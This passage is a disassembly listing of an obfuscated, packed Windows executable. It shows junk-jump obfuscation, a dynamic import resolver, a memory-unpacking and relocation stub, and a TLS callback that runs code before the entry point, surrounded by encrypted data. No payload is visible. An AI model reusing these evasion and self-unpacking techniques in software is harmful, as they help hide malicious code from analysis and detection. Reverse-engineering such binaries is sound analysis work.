00000006 BYTES ; FUNCTION CHUNK AT 00431B02 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00431BC3 SIZE 00000005 BYTES xchg eax, [esp+0] xchg ebp, [esp+0] mov eax, ebp pop ebp push ebx mov ebx, esi jmp loc_431B02 sub_4323E7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0CF330000h, 0FFC755E9h, 6C600FFh, 240C878Ah, 0E959F18Bh dd 21Eh, 0E99C0000h, 0FFFFCDF6h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43241A proc near ; CODE XREF: sub_430011+Ap xchg edx, [esp+0] pop edx popf retn 0D3C0h sub_43241A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 850Fh dd 0FFFFD25Ch, 0FFD5EAE9h, 0C300FFh ; --------------------------------------------------------------------------- loc_432430: ; CODE XREF: fzj3qwht:0042FEE5j jmp locret_42F53B ; --------------------------------------------------------------------------- align 2 cdq jmp sub_430A5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43243C: ; CODE XREF: sub_42F4AE+11CFj pushf call loc_43151C add al, ch imul ebx ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dw 0FFFFh dd 5CE90000h, 0FFFFF0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_432450: ; CODE XREF: sub_430F48+Bj sub edi, 0D7C7A51Dh add edi, 92DD1274h jmp loc_4327D8 ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: fzj3qwht:00432328j call near ptr dword_42F364+15h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_432467: ; CODE XREF: fzj3qwht:0042FB84j jmp loc_431228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F2A loc_43246C: ; CODE XREF: sub_430F2A+Aj push offset loc_42F83E jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_430F2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_432476: ; CODE XREF: sub_42FF6B:loc_42EFB2j call loc_43159A loc_43247B: ; CODE XREF: fzj3qwht:00431124j add [edi], dl add al, 24h mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- align 8 dd offset sub_432AFD dd 0FFEA33E9h, 0A4E900FFh, 0FFFFFDh, 116h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_43249C: ; CODE XREF: sub_4316FE-1D82j jmp locret_42F5B0 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- align 4 dd 0EDAA3A7Ah db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_4324AA: ; CODE XREF: sub_4301B7+1Bj jmp loc_43164B ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 10h jmp loc_42EF28 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0FA1196CEh, 0C9F7E991h, 5E00FFFFh, 3A66C081h, 0E8812A18h dd 3B8F4D56h, 5340E081h, 890F4A0Eh, 0FFFFC2F0h, 0D2D0E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB56 loc_4324E3: ; CODE XREF: sub_42EB56+10j jmp loc_42FAD6 ; END OF FUNCTION CHUNK FOR sub_42EB56 ; --------------------------------------------------------------------------- dd 52E90000h, 0C3FFFFEEh, 0FC558B00h ; --------------------------------------------------------------------------- loc_4324F4: ; CODE XREF: fzj3qwht:loc_43230Dj push ebx pushf push 222A23D9h pop ebx jmp loc_43254D ; --------------------------------------------------------------------------- loc_432501: ; CODE XREF: fzj3qwht:004306C0j cmp dword ptr [ebp-10h], 0 jge near ptr dword_42EA44+0B2h jmp loc_431B61 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_432512: ; CODE XREF: fzj3qwht:0042EF38j push 42E88Bh jmp near ptr dword_42E868+1Ah ; --------------------------------------------------------------------------- mov byte ptr [eax], 0 push 7E1652F9h pop eax xor eax, 7B1BC665h jmp loc_430A55 ; --------------------------------------------------------------------------- dd 37E9CB85h, 0FFFFDDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430A5C loc_432538: ; CODE XREF: sub_430A5C+Fj add eax, ebp add eax, 3BB1BC4Fh jnz short $+2 push ebp push esp add eax, 0C94FE9E0h ; END OF FUNCTION CHUNK FOR sub_430A5C ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 db 0 ; --------------------------------------------------------------------------- loc_43254D: ; CODE XREF: fzj3qwht:004324FCj xor ebx, 0F975535Bh add ebx, 0B51526ACh sub ebx, 7A8D6698h add ebx, 0EA5BD627h popf jmp loc_4306B4 ; --------------------------------------------------------------------------- db 0C1h dd 525717C1h, 1487D38Bh, 0F2E3E924h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43257B: ; DATA XREF: fzj3qwht:loc_430DC9o xor eax, 27F5436Dh push offset loc_42E8EC jmp loc_432737 ; --------------------------------------------------------------------------- db 0C1h dd 870F1FC5h, 0FFFFCA0Bh, 9BE9CA33h, 0FFFFEFh, 69860F00h dd 81FFFFD5h, 625BF9E2h, 0C84CE98Ch, 8B00FFFFh, 682AF612h dd 431B54h, 393E9h, 81000000h, 12EB4DCBh, 0E9FA8BAAh, 0FFFFFAC4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430917 loc_4325CD: ; CODE XREF: sub_430917+Aj mov byte ptr [edx], 0C3h xchg ebp, [esp+0] mov edx, ebp pop ebp push offset loc_42E83C jmp loc_432020 ; END OF FUNCTION CHUNK FOR sub_430917 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_4325E1: ; CODE XREF: sub_42F4AE-1D5j push offset loc_4303EC jmp locret_4315AC ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4325EE: ; CODE XREF: fzj3qwht:0043131Ej jmp near ptr dword_430EEC+1Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_4325F3: ; CODE XREF: sub_431452:loc_430338j ; DATA XREF: sub_42F4AE:loc_430121o mov byte ptr [eax], 0Fh call sub_431F11 loc_4325FB: ; CODE XREF: sub_431F5F-FA0j jmp near ptr dword_42E794+87h ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_432601: ; CODE XREF: fzj3qwht:004302CEj jmp loc_430A50 ; --------------------------------------------------------------------------- dw 0F7E9h dd 68FFFFE0h, 42EA45h, 0FFCF70E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_431410 loc_432616: ; CODE XREF: sub_431410+14j call sub_42EB56 add [edi], cl loc_43261D: ; CODE XREF: sub_42EB56+F8Cj mov [eax-197E0001h], gs sub eax, 0E8948FA1h das out dx, al ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- db 0FFh dd 0ACE9C3FFh db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_432633: ; CODE XREF: fzj3qwht:00430CE1j jmp loc_43195D ; --------------------------------------------------------------------------- db 2 dup(0) word_43263A dw 8Bh ; DATA XREF: fzj3qwht:0043100Eo dword_43263C dd 0E005449Eh, 4324F168h, 0FEA5E900h ; DATA XREF: fzj3qwht:0042EEF6o db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43264B: ; CODE XREF: fzj3qwht:0042F1C4j xchg ecx, [esp] pop ecx jz loc_42FEE0 push ebx mov ebx, edi xchg ebx, [esp] jmp loc_430FEF ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_432662: ; CODE XREF: fzj3qwht:00431758j push 95754FE9h pop esi xor esi, 0C2C0C0Fh sub esi, 8D519ACBh jmp loc_4315AD ; --------------------------------------------------------------------------- loc_432679: ; CODE XREF: fzj3qwht:0042F35Ej or edx, 0B0661E32h push edx mov edx, offset byte_430FAF jmp loc_431F03 ; --------------------------------------------------------------------------- dw 8700h dd 0DB70E9C6h db 2 dup(0FFh), 0 byte_432693 db 52h ; DATA XREF: fzj3qwht:0043018Co dd 1487D18Bh, 471B924h, 6BE90043h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4326A3: ; CODE XREF: fzj3qwht:00431147j add edx, 0A90B6B0Dh push ecx mov ecx, 432421h jmp near ptr dword_42F364+2 ; --------------------------------------------------------------------------- dd 1C87DF1Bh, 243C8724h, 0C9E9DF8Bh, 3FFFFFDh, 0FC7EE9CFh dd 0FFFFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42FF32 loc_4326CE: ; CODE XREF: sub_42FF32+9j jmp loc_42FE9D ; END OF FUNCTION CHUNK FOR sub_42FF32 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_4326D5: ; CODE XREF: fzj3qwht:0042F183j jmp loc_430198 ; --------------------------------------------------------------------------- align 4 mov ecx, edi sub eax, 827E1BD9h jmp loc_4306F0 ; --------------------------------------------------------------------------- align 2 dw 3487h dd 0BB535E24h, 432540h, 0FFD6D2E9h, 243487FFh, 8B53EC8Bh dd 0FA5E68D9h, 4E90042h, 0FFFFE2h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F11 loc_43270D: ; CODE XREF: sub_431F11:loc_431388j ; DATA XREF: sub_42F4AE+32BDo and eax, [eax+edx*2+56FFFFD7h] push 351597C7h xchg edi, [esp-4+arg_0] mov esi, edi jmp loc_42E938 ; END OF FUNCTION CHUNK FOR sub_431F11 ; --------------------------------------------------------------------------- db 87h dd 0C65F243Ch, 815A8B02h, 66157BE0h, 0DB880F8Fh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_432737: ; CODE XREF: fzj3qwht:00432586j jmp near ptr dword_42E794+15h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_43273D: ; CODE XREF: sub_42FA52+962j jmp loc_431F49 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- dw 0F00h ; --------------------------------------------------------------------------- mov ds, word ptr [ecx] add eax, [eax] add [ecx-7480251Dh], al imul ebp, ecx, 0FFFFC176h loc_432754: ; CODE XREF: fzj3qwht:loc_43180Aj pop esi and esi, 53F6BEAEh cmp esi, 460078A5h jmp loc_431D41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_432766: ; CODE XREF: sub_42F4AE+7Aj mov edx, eax xchg edx, [esp-0Ch+arg_8] mov eax, offset loc_43270D jmp loc_430121 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_432775: ; CODE XREF: sub_431686+111Aj js loc_430F61 mov edi, [eax] jmp loc_431A8F ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F8A9 loc_432782: ; CODE XREF: sub_42F8A9+5j call loc_431A8F ; END OF FUNCTION CHUNK FOR sub_42F8A9 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_432789: ; CODE XREF: fzj3qwht:00431441j jmp near ptr byte_430E9D+2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_43278E: ; CODE XREF: sub_431686:loc_432306j call sub_430AEE add [edi], cl test [ecx], ah call near ptr 0F4AC279Bh test byte ptr [edx+0], 0E9h jno short loc_432775 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0) word_4327A6 dw 0C081h ; DATA XREF: fzj3qwht:004313E1o ; --------------------------------------------------------------------------- retn 0D4Ah ; --------------------------------------------------------------------------- db 0A9h dd 0EC68C503h, 0E900431Dh, 0FFFFEB71h, 51C30000h, 0C87CE8Bh dd 9ABB5324h, 0E9004307h, 0FFFFF87Bh ; --------------------------------------------------------------------------- loc_4327CC: ; CODE XREF: fzj3qwht:00431B29j xchg ebx, [esp] pop ebx push edx call sub_431686 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_4327D8: ; CODE XREF: sub_430F48+1514j jmp loc_4303B9 ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- align 2 loc_4327DE: ; CODE XREF: fzj3qwht:00430A14j xchg ecx, [esp] loc_4327E1: ; CODE XREF: fzj3qwht:004327F6j pop ecx push eax mov eax, offset loc_431AF8 jmp loc_431CA3 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh ; --------------------------------------------------------------------------- mov ds, word ptr [esi-7800000Fh] jmp short loc_4327E1 ; --------------------------------------------------------------------------- dd 0FFFFC7D3h, 0E9990000h, 0FFFFE199h ; --------------------------------------------------------------------------- loc_432804: ; CODE XREF: fzj3qwht:0042F27Aj xchg edx, [esp] pop edx add eax, 0EFB87C22h mov eax, [eax] push offset loc_42F481 jmp locret_42F480 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431167 loc_43281C: ; CODE XREF: sub_431167:loc_430025j mov byte ptr [eax], 87h pop eax push ebx push offset loc_4328FE jmp loc_42FF7C ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- add al, 24h retn ; --------------------------------------------------------------------------- loc_432833: ; CODE XREF: fzj3qwht:00431C04j jmp loc_4302E1 ; --------------------------------------------------------------------------- dd 1FD26800h, 0F2E90043h, 0FFFFF9h, 0CF035300h, 0FFF2A0E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_43284F: ; CODE XREF: fzj3qwht:00431006j cmp esi, 2D731484h jmp loc_42F883 ; --------------------------------------------------------------------------- dw 8100h dd 0E64C5DF8h, 0F470E90Fh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430BD8 loc_432868: ; CODE XREF: sub_430BD8+16j push 42F759h jmp near ptr dword_42F854+14h ; END OF FUNCTION CHUNK FOR sub_430BD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431E69 loc_432872: ; CODE XREF: sub_431E69-EEBj mov byte ptr [eax], 8Bh pop eax add eax, 0D79F39E0h loc_43287C: ; DATA XREF: sub_431E69:loc_430F79o cwde loc_43287D: ; CODE XREF: sub_42F4AE:loc_430669j add cl, ch scasd ; END OF FUNCTION CHUNK FOR sub_431E69 ; --------------------------------------------------------------------------- dd 87FFFFDFh, 815A2414h, 0B646DBC6h, 9C368B6Dh, 0C5965268h dd 243487B8h, 50E9CE8Bh, 0FFFFFF6h, 0FFD2D98Eh db 0FFh ; --------------------------------------------------------------------------- loc_4328A5: ; CODE XREF: fzj3qwht:loc_42F29Dj sub eax, 94F019B0h add eax, 0D552A4BAh add eax, ebp jmp loc_4313A4 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4328BA proc near ; CODE XREF: sub_430E46-14E9p arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] mov ebp, esi jmp near ptr dword_42E9A4+10h sub_4328BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4328CA: ; CODE XREF: fzj3qwht:00430F73j xchg eax, [esp] xchg edi, [esp] mov eax, edi pop edi xchg edx, [esp] mov ebx, edx jmp near ptr dword_42EA44+5Bh ; --------------------------------------------------------------------------- align 2 pop edi call sub_42FF04 loc_4328E4: ; CODE XREF: fzj3qwht:0043216Aj jmp loc_430828 ; --------------------------------------------------------------------------- align 2 dw 0F081h dd 0E8B59D80h, 6857C503h, 741D8D61h, 0FFE754E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_4328FE: ; DATA XREF: sub_431167+16BAo push 0D9FD5675h pop ebx sub ebx, 52BFC610h xor ebx, 1873F1D0h sub ebx, 59B767F3h xor ebx, 23AAC197h call sub_430C8C ; START OF FUNCTION CHUNK FOR sub_431686 loc_432921: ; CODE XREF: sub_431686+Fj pop edx rol edx, 12h sub edx, 6A3C455Bh rol edx, 9 or edx, 3B952D31h call sub_4318E2 rol ebx, 8 xchg edi, [esp+0] pop edi cmp dword ptr [ebp-8], 0 jnz loc_430B7C jmp loc_431890 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- shr byte ptr [edi-5Bh], 0A9h stc loc_432959: ; DATA XREF: fzj3qwht:00432323o jno short $+2 mov al, [ebp+eax-20h] push 8F379504h jmp loc_42F53C ; --------------------------------------------------------------------------- db 0B9h, 0ECh, 0Dh dd 0EE90043h, 5BFFFFEFh, 8104C3C1h, 0FA19ACBh, 37C38179h dd 0C17165BEh, 0F3810CC3h, 94E90FB8h, 0FFC18EE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432992 proc near ; CODE XREF: fzj3qwht:loc_42E83Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00432AE7 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_422000 mov eax, 400000h mov [ebp+var_4], eax mov edx, eax loc_4329AA: ; CODE XREF: sub_432992+15Bj mov eax, [esi+0Ch] or eax, eax jz loc_432A42 add eax, edx mov ebx, eax push eax call ds:dword_42A0B4 ; GetModuleHandleA or eax, eax jnz loc_4329D7 push ebx call ds:dword_42A0B8 ; LoadLibraryA or eax, eax jz loc_432A3A loc_4329D7: ; CODE XREF: sub_432992+30j mov [ebp+var_8], eax push 0 pop [ebp+var_C] loc_4329DF: ; CODE XREF: sub_432992+A2j mov eax, [esi] or eax, eax mov edx, [ebp+var_4] jnz loc_4329EF mov eax, [esi+10h] loc_4329EF: ; CODE XREF: sub_432992+54j add eax, edx add eax, [ebp+var_C] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp+var_C] or ebx, ebx jz loc_432AE7 test ebx, 80000000h jnz loc_432A16 lea ebx, [ebx+edx+2] loc_432A16: ; CODE XREF: sub_432992+7Aj and ebx, 7FFFFFFFh push ebx push [ebp+var_8] call ds:dword_42A0BC ; GetProcAddress or eax, eax jz loc_432A3A mov [edi], eax add [ebp+var_C], 4 jmp loc_4329DF ; --------------------------------------------------------------------------- align 2 loc_432A3A: ; CODE XREF: sub_432992+3Fj ; sub_432992+96j push ebx mov eax, ebx call sub_432A49 loc_432A42: ; CODE XREF: sub_432992+1Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_432992 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A49 proc near ; CODE XREF: sub_432992+ABp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_432A80: ; CODE XREF: sub_432A49+98j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_432AC0 mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call ds:dword_42A104 ; MessageBoxA push 0FFFFFFFFh call ds:dword_42A0C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_432AC0: ; CODE XREF: sub_432A49+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_432A80 sub_432A49 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432992 loc_432AE7: ; CODE XREF: sub_432992+6Ej add esi, 14h mov edx, [ebp+var_4] jmp loc_4329AA ; END OF FUNCTION CHUNK FOR sub_432992 ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_432AF7 proc near ; CODE XREF: fzj3qwht:loc_432BFBp ; TlsCallback_0p mov eax, offset loc_42E77C locret_432AFC: ; DATA XREF: sub_432AFD+8o retn sub_432AF7 endp ; =============== S U B R O U T I N E ======================================= sub_432AFD proc near ; DATA XREF: fzj3qwht:00432488o var_14 = dword ptr -14h var_10 = dword ptr -10h push esi push edi push ecx push ebx push eax mov ebx, [esp+14h+var_14] sub ebx, offset locret_432AFC mov eax, 3552h push eax push 4 push 1000h push eax push 0 mov eax, offset dword_42A0C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset loc_42E77C add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_42E5F8 add ecx, ebx call ecx pop eax mov ebx, [esp+10h+var_10] push 8000h push 0 push eax mov eax, 42A0C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_432BB2 mov ebx, eax call loc_432C13 cld lodsd cmp eax, 0FFFFFFFFh jz short loc_432BB2 push ebx mov ebx, ecx loc_432B7D: ; CODE XREF: sub_432AFD+91j ; sub_432AFD+A4j ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_432B90 and eax, 0FFh jmp short loc_432B7D ; --------------------------------------------------------------------------- loc_432B90: ; CODE XREF: sub_432AFD+8Aj add ebx, 0FEh or eax, eax jp short loc_432BA3 lodsw and eax, 0FFFFh jmp short loc_432B7D ; --------------------------------------------------------------------------- loc_432BA3: ; CODE XREF: sub_432AFD+9Bj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_432B7D pop eax loc_432BB2: ; CODE XREF: sub_432AFD+6Dj ; sub_432AFD+7Bj pop ebx pop ecx pop edi pop esi retn sub_432AFD endp ; --------------------------------------------------------------------------- db 71h dd 0ECA4C4B5h, 16CD4F1Dh, 1214CA77h, 7C5A5B5Fh, 5C369DC3h dd 0B35F1167h, 0F1DD2A88h, 0E01A34A4h, 46CD7BACh, 8B8D7E9Ch dd 6F9E4CFh, 0CE8FD41Eh, 0F1840A2Ch, 907FE463h, 183465A4h dd 6766B1CAh ; --------------------------------------------------------------------------- sbb cl, 0Dh loc_432BFB: ; DATA XREF: _0niaacah:starto call sub_432AF7 add eax, 3A21h jmp eax ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: fzj3qwht:TlsCallbackso call sub_432AF7 add eax, 3652h jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_432C13: ; CODE XREF: sub_432AFD+71p call sub_432C1C ; --------------------------------------------------------------------------- dd 0FFFFFFFFh ; =============== S U B R O U T I N E ======================================= sub_432C1C proc near ; CODE XREF: fzj3qwht:loc_432C13p pop esi retn sub_432C1C endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 4400h dd 5B3EDAD7h, 412498DAh, 0F0F31623h, 3856BBF4h, 607FD985h dd 8DB84176h, 0AE996ACDh, 3FDA4F69h, 0BAF4909Eh, 0DF2262ADh dd 406D6A1Fh, 0CD405B75h, 0D8A9E18Ch, 0D129EDh, 6A986F79h dd 21525096h, 88696278h, 14E2E870h, 6ECA8AA6h, 5A2DA0D3h dd 0D73ABF70h, 3A5656A8h, 0FEEFDBDDh, 90FAC4E3h, 0D72C351Bh dd 0BC6807BFh, 235A3818h, 0AC513EA8h, 3C231832h, 0F87B5308h dd 0A07AF8FEh, 6B95396Ch, 5DFB0866h, 4CDF600Bh, 0EA862C62h dd 45B0A381h, 0EA70DB2Bh, 1F39173Eh, 186C70BCh, 0C8CE76C0h dd 869F4C06h, 0A5972B87h, 39901101h, 7C44CDB5h, 0DBDA524Eh dd 0BC42CEDAh, 1D74815Bh, 0BBC0A223h, 2B04BE05h, 0B2465399h dd 83293B8Fh, 85E2A6B4h, 618719D3h, 94537716h, 0D4276967h dd 8688FCFh, 0EC769E6Dh, 524C9C95h, 92FAE5EFh, 76629C2h dd 3A8AA89Bh, 878A8CA2h, 17FC0B92h, 8165106Eh, 17EA2E43h dd 0B57826D2h, 0DF173313h, 0E7683F03h, 0F73CDBD0h, 6BE5F018h dd 0CDDC7147h, 91672DAEh, 0BB63C025h, 0D164FE33h, 627BBDAFh dd 5EB21B3Ch, 0D26BF6ABh, 132BDD4Dh, 0B6D33AE7h, 8B4F83F3h dd 0A84AE68Ah, 5CE03F76h, 0B15FC6AAh, 93A6784Fh, 59FB43E8h dd 0B78D8581h, 79CBD223h, 51CFF99h, 9F27F404h, 0AE20EE5Bh dd 572D1752h, 0A9DC8BE9h, 0ED8D4A5Ah, 0DC111DEFh, 96668384h dd 4779B786h, 0B6A1C373h, 0EBA8BC88h, 0C3D0B703h, 9F3771Ah dd 0D34D1169h, 4895A016h, 0FCEA58A1h, 0FA72E5FDh, 0A7B18E38h dd 811BC240h, 0B5A029C7h, 0BF3AF0BBh, 59ABB1Ch, 0C3A0C780h dd 0A53CB0B2h, 0D7620EDh, 5A212085h, 0F54AF50h, 9436BF69h dd 49D2A841h, 60B02B3Dh, 25F742F6h, 79AD21D4h, 807CC78h dd 80h dup(0) fzj3qwht ends ; Section 6. (virtual address 00033000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00033000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _0niaacah segment para public 'CODE' use32 assume cs:_0niaacah ;org 433000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0AB5E1283h, 0EE2E4F85h, 0A21AF640h, 187E1BA7h, 442A8D2Eh dd 592EED57h, 0F54F8ADCh, 0C5B27650h, 0C19BA443h, 0F0D7F9A6h dd 8434B2D9h, 0FABFA5B4h, 0B700B523h, 38221697h, 9253B481h dd 13F51AF6h, 0B4AB90EBh, 0AAD48554h, 0AA2F0602h, 4262E9C1h dd 0C1667B4Eh, 64E7AE3Bh, 0BB199E62h, 54C76A68h, 8320F216h dd 29E00987h, 0BB1B305h, 524EFF69h, 0E47CEC4Ah, 0EDE67963h dd 0A5F2C3Eh, 32D8AB12h, 0B0B3DBFFh, 0D6D32A50h, 0F3607458h dd 3CCD17E3h, 7E118CA7h, 377C6056h, 3794AA30h, 9FC2AB4h dd 842B5C0Ah, 0EB304762h, 410249BDh, 0DFCA4BF8h, 40748234h dd 0E062B084h, 0E3024343h, 0A2E3269Dh, 211F3384h, 0E334B12Ch dd 43BE7CF8h, 6006936Ch, 0C520A37h, 2BFA848Eh, 8B70E934h dd 5F306E66h, 97B4471Dh, 679FC261h, 155E6029h, 0A70393D6h dd 0DE35895Dh, 2726E003h, 0F1DE01BCh, 11A7180Ah, 7292659Bh dd 0F71F23CCh, 0BE47F394h, 0A51B3BBEh, 5C2424CCh, 5824025Ah dd 0CD8B64AFh, 0B1EB4CA0h, 0DE472A41h, 414DB42Eh, 3EC8C72h dd 0FB812DA4h, 82603D9h, 834FCA46h, 7225FB86h, 0EA46B8C7h dd 0C00D4BD8h, 972AC96Ah, 0CE002559h, 4F752881h, 0D70A7ACCh dd 1BD3FA40h, 87526E87h, 0DDF4433h, 3725B715h, 71C13CEBh dd 74028A51h, 551A2423h, 0E9BCF3BBh, 234C2CF8h, 1C76D1ABh dd 0EAAF6A51h, 27FA2DF2h, 59CC520Ch, 6A22D6C7h, 5E1BAF01h dd 0EA6AAA9Dh, 4E9ECF3Bh, 9655DF51h, 5680EF5Bh, 59930D8Dh dd 0E4304007h, 394BF5D9h, 1BE2B0C7h, 0F617F2DDh, 179AFE4Eh dd 644054Eh, 9E319C09h, 0BF9BC967h, 23F32ED5h, 7F34216Dh dd 3775BBCAh, 2C2AFAA9h, 0D7498025h, 6259D11Bh, 12084A33h dd 7C42A872h, 79C47E87h, 36ED56A9h, 72E26D14h, 55133D51h dd 17B7DC52h, 0B79BE0Ch, 0EDD9B88Dh, 380h dup(0) ; --------------------------------------------------------------------------- public start start: push offset loc_432BFB call sub_43402C xor al, 0ADh out 77h, al ; --------------------------------------------------------------------------- aPpcwDcwoCwiCw_ db '¯æwÆ„æwOÍæw›Ðæw.ãæwqÐæw',0 align 4 dd 7E0000h ; =============== S U B R O U T I N E ======================================= sub_43402C proc near ; CODE XREF: 